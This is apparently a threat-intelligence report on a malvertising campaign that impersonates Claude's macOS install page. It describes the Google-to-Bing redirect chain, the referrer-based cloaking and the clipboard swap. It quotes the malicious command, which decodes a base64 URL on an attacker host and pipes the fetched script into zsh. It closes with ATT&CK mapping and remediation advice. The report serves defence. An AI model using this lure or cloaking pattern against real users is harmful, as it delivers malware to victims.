Threat reportMalwareTL-2026-3410
Fake Claude Installation Page Delivers Malware via ClickFix/InstallFix "Adception" Malvertising Campaign (macOS)
Fake Claude Installation Page Delivers Malware via (TL-2026-3410), also tracked as Adception, is a high-severity malware campaign, first published 2026-10-13. It has no confirmed attribution, affects Apple macOS (users running a pasted shell command in Terminal/zsh), maps to 9 MITRE ATT&CK techniques (T1027.010, T1036, T1059.004), and is covered by 9 detection rules and 18 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 9MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 18Indicators of compromise
Key facts for TL-2026-3410
- Threat ID
- TL-2026-3410
- Also known as
- Adception, AcSig, InstallFix, ClickFix variant
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- UNKNOWN
- Target sectors
- technology, software development, general users
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 18
Malware and tooling in Fake Claude Installation Page Delivers Malware via
Malware and tooling: AcSig
How Fake Claude Installation Page Delivers Malware via works
A malvertising campaign abuses Google Ads and a Bing click-tracking redirect, plus a compromised South American retailer site, to send macOS users searching for "claude mac" to a fake Claude download page (claude-desk-code[.]com). The page shows the legitimate install command but copies a different command to the clipboard that pipes a remote script from lake-90[.]com into zsh.
Push Security (published 2026-10-09, author Luke Jennings) detected the campaign in a customer environment and named the redirect technique "Adception"; BleepingComputer reported it the same day and NSFOCUS covered it on 2026-10-13, tracking the toolchain as AcSig. Victims searching Google for "claude mac" are served a sponsored result whose displayed landing domain is bing.com, which passes ad-platform review that validates only the landing domain.
The redirect chain has four hops: google.com/aclk (302) -> bing.com/ck/a (200, JavaScript redirect with the target base64-encoded in the u parameter; the analyzed sample carried a 2026-10-05 timestamp) -> homeopatiaalemana[.]com/quienes-somos/ (302; a compromised legitimate South American homeopathy retailer, described as a WordPress site) -> claude-desk-code[.]com (200; fake Claude download page). Two cloaking layers are used. The compromised site checks server-side for a Bing referrer and specific browser headers before redirecting. The fake site's JavaScript reads document.referrer and sends traffic that did not come from Google or Bing to /404.html. Ad reviewers, scanners and direct visits therefore see benign content, and every hop except the final one is a legitimate domain, which defeats domain-reputation filtering.
The fake page is an InstallFix-style lure: it displays Anthropic's legitimate command (curl -fsSL https://claude.ai/install.sh | bash), but the copy button writes a different command to the clipboard: echo "Downloading Claude: https://claude.ai/install.sh" && curl -s $(echo "<base64>" | openssl base64 -d -A) | zsh. The base64 decodes to https://lake-90[.]com/curl/inhgup9a/a90fkbqdg8d0mus64oh8dw.dat, a script that is downloaded silently and piped straight into zsh, running with the victim's user-level permissions. The final payload was not recovered by any source, so malware family, persistence and C2 for this specific macOS chain are unknown. Push Security lists seven further lure domains in the same InstallFix cluster. Push also correlates the wider AI-themed ClickFix/InstallFix/LLMshare activity with Huntress and Island reporting and a shared toolkit. Earlier, separately reported InstallFix campaigns against Claude Code delivered Amatera Stealer (BleepingComputer, 2026-03-06) and a RedLine-linked Windows chain (Trend Micro, 2026-05-05); those are related context and are not confirmed to share infrastructure with this campaign. No CVE, CVSS score or threat actor attribution is stated in any source; severity is analyst-assigned.
MITRE ATT&CK techniques used in TL-2026-3410
Defense Evasion
T1027.010 Obfuscated Files or Information: Command Obfuscation; T1036 Masquerading; T1480 Execution Guardrails; T1684.001 Impersonation
Execution
T1059.004 Command and Scripting Interpreter: Unix Shell; T1204.001 User Execution: Malicious Link; T1204.004 User Execution: Malicious Copy and Paste
Resource Development
T1583.008 Acquire Infrastructure: Malvertising; T1584 Compromise Infrastructure
Affected products and versions in Fake Claude Installation Page Delivers Malware via
- Apple — macOS (users running a pasted shell command in Terminal/zsh)
Vulnerable versions: All versions; social-engineering attack, no vulnerability exploited - Anthropic — Claude (brand impersonated; the legitimate product is not vulnerable)
Remediation for Fake Claude Installation Page Delivers Malware via
Immediate actions
- Block and sweep DNS/proxy/EDR telemetry for lake-90.com, claude-desk-code.com and the related lure domains
- Hunt macOS endpoints for curl output piped into zsh/bash/sh and for commands containing 'openssl base64 -d -A'
- Isolate any Mac that ran the command and rotate credentials, browser sessions and tokens used on it
- Alert on web traffic whose referrer chain includes google.com/aclk followed by bing.com/ck/a
Workarounds
- Type the official install URL manually instead of using a search ad or the page's copy button
- Restrict Terminal use or require approval for standard users where feasible
Longer-term hardening
- Train users to install developer tools only from the vendor's own domain or documentation and never to paste commands copied from search ads
- Inspect clipboard contents before pasting terminal commands and compare them with the displayed text
- Deploy macOS EDR with behavioral detection for remote-script-to-shell execution
- Consider browser or enterprise policy that restricts sponsored search results for software downloads
Timeline of Fake Claude Installation Page Delivers Malware via
- BleepingComputer reports earlier InstallFix malvertising campaigns using fake Claude Code install guides to deliver Amatera Stealer (related context; not confirmed to share infrastructure).
- Trend Micro publishes analysis of a Windows InstallFix chain targeting Claude Code (mshta/HTA, PowerShell stager, RedLine-linked; related context).
- Timestamp embedded in the base64 u parameter of the Bing ck/a redirect in the sample Push Security analyzed, indicating the ad link was live around this date.
- BleepingComputer reports the Google Ads/Bing redirect abuse delivering the Claude ClickFix lure; Push also publishes its AI-themed ClickFix/InstallFix/LLMshare cluster analysis.
- Push Security publishes the Adception analysis after detecting the fake Claude page in a customer environment: Google ad -> Bing ck/a -> compromised retailer -> claude-desk-code[.]com.
- NSFOCUS publishes its AI security incident case on the fake Claude installation page, tracking the toolchain as AcSig; final payload remains unknown.
Sources cited for Fake Claude Installation Page Delivers Malware via
- AI Security Incident Case: Fake Claude Installation Page Delivered Malware via ClickFix
- Push Security: Analysing a novel malicious redirect and cloaking technique (Adception)
- Push Security: Analyzing AI-themed ClickFix, InstallFix & LLMshare attacks
- BleepingComputer: Hackers abuse Google Ads, Bing redirects to push Claude ClickFix attacks
- BleepingComputer: Fake Claude Code install guides push infostealers in InstallFix attacks
- Trend Micro: InstallFix and Claude Code: How Fake Install Pages Lead to Real Compromise
Detection coverage for TL-2026-3410
As of 2026-10-13, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-3410 across Splunk SPL, Microsoft KQL and Sigma, covering 18 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.